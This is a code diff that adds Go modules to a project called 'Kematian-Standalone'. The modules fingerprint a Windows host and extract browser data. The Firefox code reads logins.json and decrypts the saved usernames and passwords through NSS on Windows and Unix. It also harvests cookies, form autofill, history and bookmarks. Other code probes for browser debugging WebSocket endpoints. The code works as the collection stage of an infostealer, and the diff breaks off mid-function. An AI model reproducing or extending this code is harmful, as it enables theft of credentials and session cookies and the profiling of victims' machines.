+		lines := strings.Split(strings.TrimSpace(string(data)), "\n")
+		if len(lines) < 2 {
+			continue
+		}
+		port := strings.TrimSpace(lines[0])
+		if port == "" {
+			continue
+		}
+		if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
+			return wsURL
+		}
+	}
+	return ""
+}
+
+func debugWebSocketURL(port string) (string, error) {
+	client := &http.Client{Timeout: 2 * time.Second}
+	resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
+	if err != nil {
+		return "", err
+	}
+	defer resp.Body.Close()
+	var v struct {
+		WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
+	}
+	if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
+		return "", err
+	}
+	return v.WebSocketDebuggerURL, nil
+}

Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go

@@ -0,0 +1,7 @@
+//go:build !windows
+
+package fingerprint
+
+func CollectJS() *JSResult {
+	return nil
+}

Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go

@@ -0,0 +1,7 @@
+//go:build !windows
+
+package fingerprint
+
+func Collect() *Result {
+	return &Result{}
+}

Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go

@@ -0,0 +1,483 @@
+//go:build windows
+
+package fingerprint
+
+import (
+	"fmt"
+	"net"
+	"os"
+	"path/filepath"
+	"runtime"
+	"sort"
+	"strings"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+// ── Win32 API (raw syscalls) ──────────────────────────────────────
+
+var (
+	user32   = syscall.NewLazyDLL("user32.dll")
+	kernel32 = syscall.NewLazyDLL("kernel32.dll")
+	gdi32    = syscall.NewLazyDLL("gdi32.dll")
+
+	procGetSystemMetrics         = user32.NewProc("GetSystemMetrics")
+	procSystemParametersInfo     = user32.NewProc("SystemParametersInfoW")
+	procGetDC                    = user32.NewProc("GetDC")
+	procReleaseDC                = user32.NewProc("ReleaseDC")
+	procGetDeviceCaps            = gdi32.NewProc("GetDeviceCaps")
+	procGetActiveProcessorCount  = kernel32.NewProc("GetActiveProcessorCount")
+	procGlobalMemoryStatusEx     = kernel32.NewProc("GlobalMemoryStatusEx")
+	procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
+	procGetTimeZoneInformation   = kernel32.NewProc("GetTimeZoneInformation")
+)
+
+type memoryStatusEx struct {
+	Length               uint32
+	MemoryLoad           uint32
+	TotalPhys            uint64
+	AvailPhys            uint64
+	TotalPageFile        uint64
+	AvailPageFile        uint64
+	TotalVirtual         uint64
+	AvailVirtual         uint64
+	AvailExtendedVirtual uint64
+}
+
+type systemTime struct {
+	Year         uint16
+	Month        uint16
+	DayOfWeek    uint16
+	Day          uint16
+	Hour         uint16
+	Minute       uint16
+	Second       uint16
+	Milliseconds uint16
+}
+
+type timeZoneInformation struct {
+	Bias         int32
+	StandardName [32]uint16
+	StandardDate systemTime
+	StandardBias int32
+	DaylightName [32]uint16
+	DaylightDate systemTime
+	DaylightBias int32
+}
+
+type rect struct {
+	Left   int32
+	Top    int32
+	Right  int32
+	Bottom int32
+}
+
+// ── Collect ───────────────────────────────────────────────────────
+
+func Collect() *Result {
+	r := &Result{
+		Platform: "Win32",
+		OSArch:   runtime.GOARCH,
+	}
+
+	r.OS = osProductName()
+	r.HardwareConcurrency = cpuCores()
+	r.DeviceMemory = deviceMemoryGB()
+	r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
+	r.ScreenWidth = getSystemMetrics(0)     // SM_CXSCREEN
+	r.ScreenHeight = getSystemMetrics(1)    // SM_CYSCREEN
+
+	var work rect
+	if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
+		r.AvailWidth = int(work.Right - work.Left)
+		r.AvailHeight = int(work.Bottom - work.Top)
+	}
+
+	hdc, _, _ := procGetDC.Call(0)
+	if hdc != 0 {
+		r.ColorDepth = getDeviceCaps(hdc, 12)       // BITSPIXEL
+		if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
+			r.DevicePixelRatio = float64(dpi) / 96.0
+		}
+		procReleaseDC.Call(0, hdc)
+	}
+
+	r.Timezone, r.TimezoneOffset = timezoneInfo()
+	r.Languages = languages()
+	r.Fonts = fonts()
+	r.GPU = gpuName()
+	r.Browsers = installedBrowsers()
+	r.UserAgent = userAgent(r.Browsers)
+	r.LocalIPs = localIPs()
+
+	return r
+}
+
+func getSystemMetrics(index int) int {
+	v, _, _ := procGetSystemMetrics.Call(uintptr(index))
+	return int(v)
+}
+
+func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
+	r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
+	return r != 0
+}
+
+func getDeviceCaps(hdc uintptr, index int) int {
+	v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
+	return int(v)
+}
+
+func cpuCores() int {
+	v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
+	if v == 0 {
+		return runtime.NumCPU()
+	}
+	return int(v)
+}
+
+func deviceMemoryGB() int {
+	var ms memoryStatusEx
+	ms.Length = uint32(unsafe.Sizeof(ms))
+	r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
+	if r == 0 {
+		return 0
+	}
+	gb := int(ms.TotalPhys / (1 << 30))
+	if gb > 8 {
+		gb = 8 // navigator.deviceMemory is clamped to 8
+	}
+	return gb
+}
+
+// ── OS ─────────────────────────────────────────────────────────────
+
+func osProductName() string {
+	k, err := registry.OpenKey(registry.LOCAL_MACHINE,
+		`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
+	if err != nil {
+		return "Windows"
+	}
+	defer k.Close()
+
+	product, _, _ := k.GetStringValue("ProductName")
+	build, _, _ := k.GetStringValue("CurrentBuildNumber")
+	display, _, _ := k.GetStringValue("DisplayVersion")
+	ubr, _, _ := k.GetStringValue("UBR")
+
+	name := product
+	if name == "" {
+		name = "Windows"
+	}
+	ver := display
+	if ver == "" && build != "" {
+		ver = build
+		if ubr != "" {
+			ver = build + "." + ubr
+		}
+	}
+	if ver != "" {
+		return name + " " + ver
+	}
+	return name
+}
+
+// ── Timezone ──────────────────────────────────────────────────────
+
+// windowsToIANA maps common Windows timezone names to IANA identifiers.
+var windowsToIANA = map[string]string{
+	"Eastern Standard Time":          "America/New_York",
+	"Central Standard Time":          "America/Chicago",
+	"Mountain Standard Time":         "America/Denver",
+	"Pacific Standard Time":          "America/Los_Angeles",
+	"Alaskan Standard Time":          "America/Anchorage",
+	"Hawaiian Standard Time":         "Pacific/Honolulu",
+	"Atlantic Standard Time":         "America/Halifax",
+	"Newfoundland Standard Time":     "America/St_Johns",
+	"GMT Standard Time":              "Europe/London",
+	"Greenwich Standard Time":        "Atlantic/Reykjavik",
+	"W. Europe Standard Time":        "Europe/Berlin",
+	"Central Europe Standard Time":   "Europe/Budapest",
+	"Romance Standard Time":          "Europe/Paris",
+	"Central European Standard Time": "Europe/Warsaw",
+	"E. Europe Standard Time":        "Europe/Chisinau",
+	"Russian Standard Time":          "Europe/Moscow",
+	"Israel Standard Time":           "Asia/Jerusalem",
+	"China Standard Time":            "Asia/Shanghai",
+	"Tokyo Standard Time":            "Asia/Tokyo",
+	"Korea Standard Time":            "Asia/Seoul",
+	"Singapore Standard Time":        "Asia/Singapore",
+	"India Standard Time":            "Asia/Kolkata",
+	"AUS Eastern Standard Time":      "Australia/Sydney",
+	"New Zealand Standard Time":      "Pacific/Auckland",
+	"SA Pacific Standard Time":       "America/Bogota",
+	"Argentina Standard Time":        "America/Argentina/Buenos_Aires",
+	"E. South America Standard Time": "America/Sao_Paulo",
+}
+
+func timezoneInfo() (string, int) {
+	var tzi timeZoneInformation
+	r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
+	if r == 0xFFFFFFFF {
+		return "", 0
+	}
+	windowsName := syscall.UTF16ToString(tzi.StandardName[:])
+	offset := -int(tzi.Bias)
+
+	iana := windowsToIANA[windowsName]
+	if iana == "" {
+		iana = windowsName
+	}
+	return iana, offset
+}
+
+// ── Languages ─────────────────────────────────────────────────────
+
+func languages() []string {
+	var langs []string
+	var buf [85]uint16
+	r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
+	if r > 0 && r <= uintptr(len(buf)) {
+		locale := syscall.UTF16ToString(buf[:r])
+		if locale != "" {
+			langs = append(langs, locale)
+		}
+	}
+
+	if prefs := chromeAcceptLanguages(); prefs != "" {
+		for _, l := range strings.Split(prefs, ",") {
+			l = strings.TrimSpace(l)
+			if l != "" && !containsStr(langs, l) {
+				langs = append(langs, l)
+			}
+		}
+	}
+	return langs
+}
+
+func chromeAcceptLanguages() string {
+	local := os.Getenv("LOCALAPPDATA")
+	if local == "" {
+		return ""
+	}
+	path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return ""
+	}
+	s := string(data)
+	idx := strings.Index(s, `"accept_languages"`)
+	if idx < 0 {
+		return ""
+	}
+	rest := s[idx:]
+	colon := strings.Index(rest, ":")
+	if colon < 0 {
+		return ""
+	}
+	rest = rest[colon+1:]
+	start := strings.Index(rest, `"`)
+	if start < 0 {
+		return ""
+	}
+	rest = rest[start+1:]
+	end := strings.Index(rest, `"`)
+	if end < 0 {
+		return ""
+	}
+	return rest[:end]
+}
+
+// ── Fonts ─────────────────────────────────────────────────────────
+
+func fonts() []string {
+	k, err := registry.OpenKey(registry.LOCAL_MACHINE,
+		`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
+		registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
+	if err != nil {
+		return nil
+	}
+	defer k.Close()
+
+	names, err := k.ReadValueNames(-1)
+	if err != nil {
+		return nil
+	}
+
+	var out []string
+	seen := map[string]bool{}
+	for _, name := range names {
+		f := strings.TrimSpace(name)
+		f = strings.TrimSuffix(f, " (TrueType)")
+		f = strings.TrimSuffix(f, " (OpenType)")
+		f = strings.TrimSuffix(f, " (All res)")
+		if f == "" || seen[f] {
+			continue
+		}
+		seen[f] = true
+		out = append(out, f)
+	}
+	sort.Strings(out)
+	return out
+}
+
+// ── GPU ───────────────────────────────────────────────────────────
+
+func gpuName() string {
+	k, err := registry.OpenKey(registry.LOCAL_MACHINE,
+		`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
+		registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
+	if err != nil {
+		return ""
+	}
+	defer k.Close()
+
+	subs, _ := k.ReadSubKeyNames(-1)
+	for _, sub := range subs {
+		if !strings.HasPrefix(sub, "0") {
+			continue
+		}
+		sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
+		if err != nil {
+			continue
+		}
+		desc, _, _ := sk.GetStringValue("DriverDesc")
+		sk.Close()
+		desc = strings.TrimSpace(desc)
+		if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
+			strings.Contains(desc, "Microsoft Remote Display") {
+			continue
+		}
+		return desc
+	}
+	return ""
+}
+
+// ── Installed browsers ────────────────────────────────────────────
+
+var browserUpdateGUIDs = []struct {
+	name string
+	guid string
+}{
+	{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
+	{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
+	{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
+}
+
+func installedBrowsers() []Browser {
+	var out []Browser
+	for _, b := range browserUpdateGUIDs {
+		ver := browserVersion(b.guid)
+		if ver == "" {
+			continue
+		}
+		out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
+	}
+	return out
+}
+
+func browserVersion(guid string) string {
+	for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
+		k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
+		if err != nil {
+			continue
+		}
+		pv, _, err := k.GetStringValue("pv")
+		k.Close()
+		if err == nil && pv != "" {
+			return pv
+		}
+	}
+	return ""
+}
+
+func browserExePath(name string) string {
+	var paths []string
+	pf := os.Getenv("ProgramFiles")
+	pf86 := os.Getenv("ProgramFiles(x86)")
+	switch name {
+	case "Chrome":
+		paths = []string{
+			filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
+			filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
+		}
+	case "Edge":
+		paths = []string{
+			filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
+			filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
+		}
+	case "Brave":
+		paths = []string{
+			filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
+			filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
+		}
+	}
+	for _, p := range paths {
+		if _, err := os.Stat(p); err == nil {
+			return p
+		}
+	}
+	return ""
+}
+
+// ── User agent ────────────────────────────────────────────────────
+
+func userAgent(browsers []Browser) string {
+	order := []string{"Chrome", "Edge", "Brave"}
+	version := ""
+	for _, want := range order {
+		for _, b := range browsers {
+			if b.Name == want && b.Version != "" {
+				version = b.Version
+				break
+			}
+		}
+		if version != "" {
+			break
+		}
+	}
+	if version == "" {
+		return ""
+	}
+	return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
+}
+
+// ── Local IPs ─────────────────────────────────────────────────────
+
+func localIPs() []string {
+	ifaces, err := net.Interfaces()
+	if err != nil {
+		return nil
+	}
+	var ips []string
+	for _, iface := range ifaces {
+		addrs, err := iface.Addrs()
+		if err != nil {
+			continue
+		}
+		for _, addr := range addrs {
+			ip, _, err := net.ParseCIDR(addr.String())
+			if err != nil {
+				continue
+			}
+			if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
+				s := v4.String()
+				if !containsStr(ips, s) {
+					ips = append(ips, s)
+				}
+			}
+		}
+	}
+	return ips
+}
+
+func containsStr(s []string, v string) bool {
+	for _, x := range s {
+		if x == v {
+			return true
+		}
+	}
+	return false
+}

Kematian-Standalone/native/recovery/fingerprint/js.go

@@ -0,0 +1,11 @@
+package fingerprint
+
+type JSResult struct {
+	Canvas          string                 `json:"canvas,omitempty"`
+	WebGLRenderer   string                 `json:"webglRenderer,omitempty"`
+	WebGLVendor     string                 `json:"webglVendor,omitempty"`
+	WebGLVersion    string                 `json:"webglVersion,omitempty"`
+	WebGLParams     map[string]interface{} `json:"webglParams,omitempty"`
+	WebGLExtensions []string               `json:"webglExtensions,omitempty"`
+	Audio           float64                `json:"audio,omitempty"`
+}

Kematian-Standalone/native/recovery/fingerprint/log.go

@@ -0,0 +1,7 @@
+package fingerprint
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[fingerprint] "+format, args...)
+}

Kematian-Standalone/native/recovery/fingerprint/types.go

@@ -0,0 +1,32 @@
+package fingerprint
+
+// Browser is an installed browser and its version.
+type Browser struct {
+	Name    string `json:"name"`
+	Version string `json:"version"`
+	Path    string `json:"path,omitempty"`
+}
+
+// Result is the collected native fingerprint.
+type Result struct {
+	UserAgent           string    `json:"userAgent"`
+	Platform            string    `json:"platform"`
+	OS                  string    `json:"os"`
+	OSArch              string    `json:"osArch"`
+	Languages           []string  `json:"languages"`
+	HardwareConcurrency int       `json:"hardwareConcurrency"`
+	DeviceMemory        int       `json:"deviceMemory"`
+	MaxTouchPoints      int       `json:"maxTouchPoints"`
+	ScreenWidth         int       `json:"screenWidth"`
+	ScreenHeight        int       `json:"screenHeight"`
+	AvailWidth          int       `json:"availWidth"`
+	AvailHeight         int       `json:"availHeight"`
+	ColorDepth          int       `json:"colorDepth"`
+	DevicePixelRatio    float64   `json:"devicePixelRatio"`
+	Timezone            string    `json:"timezone"`
+	TimezoneOffset      int       `json:"timezoneOffset"`
+	Fonts               []string  `json:"fonts"`
+	GPU                 string    `json:"gpu"`
+	Browsers            []Browser `json:"browsers"`
+	LocalIPs            []string  `json:"localIps"`
+}

Kematian-Standalone/native/recovery/firefox/firefox.go

@@ -0,0 +1,236 @@
+package firefox
+
+import (
+	"database/sql"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"sync"
+
+	"recovery/recovery/chromium"
+	"recovery/recovery/db"
+	"recovery/recovery/types"
+)
+
+type firefoxLoginFile struct {
+	Logins []firefoxLogin `json:"logins"`
+}
+
+type firefoxLogin struct {
+	Hostname          string `json:"hostname"`
+	EncryptedUsername  string `json:"encryptedUsername"`
+	EncryptedPassword string `json:"encryptedPassword"`
+}
+
+var nssmu sync.Mutex
+
+func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
+	loginsPath := filepath.Join(profile.Path, "logins.json")
+	data, err := os.ReadFile(loginsPath)
+	if err != nil {
+		return nil
+	}
+
+	var logins firefoxLoginFile
+	if err := json.Unmarshal(data, &logins); err != nil {
+		return nil
+	}
+	if len(logins.Logins) == 0 {
+		return nil
+	}
+
+	nssmu.Lock()
+	defer nssmu.Unlock()
+
+	results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
+	var out []types.PasswordResult
+	for _, r := range results {
+		if r.URL != "" && (r.Username != "" || r.Password != "") {
+			r.Browser = cfg.Name
+			r.Profile = profile.Name
+			out = append(out, r)
+		}
+	}
+	return out
+}
+
+func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
+	dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+
+	d, err := db.OpenDatabase(dbPath, pids)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
+	if err != nil {
+		rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
+		if err2 != nil {
+			return nil
+		}
+		defer rows2.Close()
+		var results []types.AutofillResult
+		for rows2.Next() {
+			var name, value sql.NullString
+			rows2.Scan(&name, &value)
+			if name.String != "" {
+				results = append(results, types.AutofillResult{
+					Name:    name.String,
+					Value:   value.String,
+					Browser: cfg.Name,
+					Profile: profile.Name,
+				})
+			}
+		}
+		return results
+	}
+	defer rows.Close()
+
+	var results []types.AutofillResult
+	for rows.Next() {
+		var name, value sql.NullString
+		var timesUsed, firstUsed sql.NullInt64
+		rows.Scan(&name, &value, &timesUsed, &firstUsed)
+
+		var dateCreated int64
+		if firstUsed.Int64 > 0 {
+			dateCreated = firstUsed.Int64 / 1000000
+		}
+
+		if name.String != "" {
+			results = append(results, types.AutofillResult{
+				Name:        name.String,
+				Value:       value.String,
+				DateCreated: dateCreated,
+				Browser:     cfg.Name,
+				Profile:     profile.Name,
+			})
+		}
+	}
+	return results
+}
+
+func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
+	dbPath := filepath.Join(profile.Path, "cookies.sqlite")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+
+	d, err := db.OpenDatabase(dbPath, nil)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
+	if err != nil {
+		return nil
+	}
+	defer rows.Close()
+
+	var results []types.CookieResult
+	for rows.Next() {
+		var host, name, value, path sql.NullString
+		var secure, httpOnly, expiry sql.NullInt64
+		rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
+		results = append(results, types.CookieResult{
+			Host:       host.String,
+			Name:       name.String,
+			Value:      value.String,
+			Path:       path.String,
+			Secure:     secure.Int64 != 0,
+			HTTPOnly:   httpOnly.Int64 != 0,
+			ExpiresUTC: expiry.Int64,
+			Browser:    cfg.Name,
+			Profile:    profile.Name,
+		})
+	}
+	return results
+}
+
+func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
+	dbPath := filepath.Join(profile.Path, "places.sqlite")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+	d, err := db.OpenDatabase(dbPath, nil)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	q := fmt.Sprintf(
+		`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
+		 JOIN moz_places p ON p.id = h.place_id
+		 ORDER BY h.visit_date DESC LIMIT %d`,
+		chromium.HistoryLimit,
+	)
+	rows, err := d.Query(q)
+	if err != nil {
+		return nil
+	}
+	defer rows.Close()
+
+	var results []types.HistoryResult
+	for rows.Next() {
+		var url, title sql.NullString
+		var visitDate sql.NullInt64
+		rows.Scan(&url, &title, &visitDate)
+
+		var visitTimeUnix int64
+		if visitDate.Int64 > 0 {
+			visitTimeUnix = visitDate.Int64 / 1000000
+		}
+		if url.String != "" {
+			results = append(results, types.HistoryResult{
+				URL:           url.String,
+				Title:         title.String,
+				VisitTimeUnix: visitTimeUnix,
+				Browser:       cfg.Name,
+				Profile:       profile.Name,
+			})
+		}
+	}
+	return results
+}
+
+func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
+	dbPath := filepath.Join(profile.Path, "places.sqlite")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+	d, err := db.OpenDatabase(dbPath, nil)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
+		JOIN moz_places p ON p.id = b.fk
+		WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
+	if err != nil {
+		return nil
+	}
+	defer rows.Close()
+
+	var results []types.BookmarkResult
+	for rows.Next() {
+		var title, url sql.NullString
+		rows.Scan(&title, &url)
+		if url.String != "" {
+			results = append(results, types.BookmarkResult{
+				Name:    title.String,
+				URL:     url.String,
+				Type:    "url",
+				Browser: cfg.Name,
+				Profile: profile.Name,
+			})
+		}
+	}
+	return results
+}

Kematian-Standalone/native/recovery/firefox/log.go

@@ -0,0 +1,7 @@
+package firefox
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[firefox] "+format, args...)
+}

Kematian-Standalone/native/recovery/firefox/nss_unix.go

@@ -0,0 +1,163 @@
+//go:build !windows
+
+package firefox
+
+/*
+#cgo LDFLAGS: -ldl
+#include <dlfcn.h>
+#include <stdlib.h>
+#include <string.h>
+
+typedef struct {
+    unsigned int type;
+    unsigned char *data;
+    unsigned int len;
+} SECItem;
+
+typedef int (*NSS_Init_Fn)(const char*);
+typedef int (*NSS_Shutdown_Fn)(void);
+typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
+typedef void (*PORT_Free_Fn)(void*);
+
+static void* load_nss(const char* path) {
+    return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
+}
+
+static void close_nss(void* handle) {
+    if (handle) dlclose(handle);
+}
+
+static int call_nss_init(void* handle, const char* profile) {
+    NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
+    if (!fn) return -1;
+    return fn(profile);
+}
+
+static int call_nss_shutdown(void* handle) {
+    NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
+    if (!fn) return -1;
+    return fn();
+}
+
+static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
+    PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
+    if (!fn) return -1;
+    return fn(enc, dec, NULL);
+}
+
+static void call_port_free(void* handle, void* ptr) {
+    PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
+    if (fn) fn(ptr);
+}
+*/
+import "C"
+
+import (
+	"encoding/base64"
+	"os"
+	"runtime"
+	"strings"
+	"unsafe"
+
+	"recovery/recovery/types"
+)
+
+var nssLibPaths = []string{
+	// Linux paths
+	"/usr/lib/x86_64-linux-gnu/libnss3.so",
+	"/usr/lib64/libnss3.so",
+	"/usr/lib/libnss3.so",
+	"/usr/lib/firefox/libnss3.so",
+	"/usr/lib64/firefox/libnss3.so",
+	"/opt/firefox/libnss3.so",
+	"/opt/librewolf/libnss3.so",
+	"/snap/firefox/current/usr/lib/firefox/libnss3.so",
+	// macOS paths
+	"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
+	"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
+	"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
+	"/opt/homebrew/lib/libnss3.dylib",
+	"/usr/local/lib/libnss3.dylib",
+}
+
+func findNSSLib() string {
+	suffix := ".so"
+	if runtime.GOOS == "darwin" {
+		suffix = ".dylib"
+	}
+	for _, p := range nssLibPaths {
+		if strings.HasSuffix(p, suffix) {
+			if _, err := os.Stat(p); err == nil {
+				return p
+			}
+		}
+	}
+	name := "libnss3.so"
+	if runtime.GOOS == "darwin" {
+		name = "libnss3.dylib"
+	}
+	return name
+}
+
+func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
+	libPath := findNSSLib()
+	cLibPath := C.CString(libPath)
+	defer C.free(unsafe.Pointer(cLibPath))
+
+	handle := C.load_nss(cLibPath)
+	if handle == nil {
+		logf("firefox NSS: failed to load %s", libPath)
+		return nil
+	}
+	defer C.close_nss(handle)
+
+	cProfile := C.CString(profilePath)
+	defer C.free(unsafe.Pointer(cProfile))
+
+	ret := C.call_nss_init(handle, cProfile)
+	if ret != 0 {
+		logf("firefox NSS: NSS_Init failed for %s", profilePath)
+		return nil
+	}
+	defer C.call_nss_shutdown(handle)
+
+	var results []types.PasswordResult
+	for _, login := range logins {
+		username := nssDecryptUnix(handle, login.EncryptedUsername)
+		password := nssDecryptUnix(handle, login.EncryptedPassword)
+		results = append(results, types.PasswordResult{
+			URL:      login.Hostname,
+			Username: username,
+			Password: password,
+		})
+	}
+
+	return results
+}
+
+func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
+	b64 = strings.TrimSpace(b64)
+	if b64 == "" {
+		return ""
+	}
+
+	encBytes, err := base64.StdEncoding.DecodeString(b64)
+	if err != nil || len(encBytes) == 0 {
+		return ""
+	}
+
+	var encItem C.SECItem
+	encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
+	encItem.len = C.uint(len(encBytes))
+
+	var decItem C.SECItem
+	ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
+	if ret != 0 || decItem.data == nil || decItem.len == 0 {
+		return ""
+	}
+
+	result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
+	C.call_port_free(handle, unsafe.Pointer(decItem.data))
+
+	return result
+}

Kematian-Standalone/native/recovery/firefox/nss_windows.go

@@ -0,0 +1,138 @@
+//go:build windows
+
+package firefox
+
+import (
+	"encoding/base64"
+	"os"
+	"path/filepath"
+	"strings"
+	"syscall"
+	"unsafe"
+
+	"recovery/recovery/types"
+)
+
+type secItem struct {
+	ItemType uint32
+	Data     *byte
+	Len      uint32
+}
+
+var nssInstallDirs = map[string][]string{
+	"Firefox":   {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
+	"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
+	"Waterfox":  {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
+}
+
+func findNSSDir(browserName string) string {
+	dirs := nssInstallDirs[browserName]
+	if dirs == nil {
+		dirs = nssInstallDirs["Firefox"]
+	}
+	for _, dir := range dirs {
+		if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
+			return dir
+		}
+	}
+	for _, dirs := range nssInstallDirs {
+		for _, dir := range dirs {
+			if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
+				return dir
+			}
+		}
+	}
+	return ""
+}
+
+func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
+	nssDir := findNSSDir(browserName)
+	if nssDir == "" {
+		logf("firefox NSS: nss3.dll not found for %s", browserName)
+		return nil
+	}
+
+	oldPath := os.Getenv("PATH")
+	os.Setenv("PATH", nssDir+";"+oldPath)
+	defer os.Setenv("PATH", oldPath)
+
+	nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
+	if err != nil {
+		logf("firefox NSS: failed to load nss3.dll: %v", err)
+		return nil
+	}
+	defer nss3dll.Release()
+
+	nssInit, err := nss3dll.FindProc("NSS_Init")
+	if err != nil {
+		return nil
+	}
+	pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
+	if err != nil {
+		return nil
+	}
+	nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
+	portFree, _ := nss3dll.FindProc("PORT_Free")
+
+	profileBytes, err := syscall.BytePtrFromString(profilePath)
+	if err != nil {
+		return nil
+	}
+
+	ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
+	if ret != 0 {
+		logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
+		return nil
+	}
+	defer func() {
+		if nssShutdown != nil {
+			nssShutdown.Call()
+		}
+	}()
+
+	var results []types.PasswordResult
+	for _, login := range logins {
+		username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
